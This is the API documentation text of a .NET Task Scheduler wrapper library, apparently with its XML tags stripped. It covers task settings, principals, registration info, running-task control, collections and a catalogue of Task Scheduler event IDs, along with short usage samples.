+ + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + 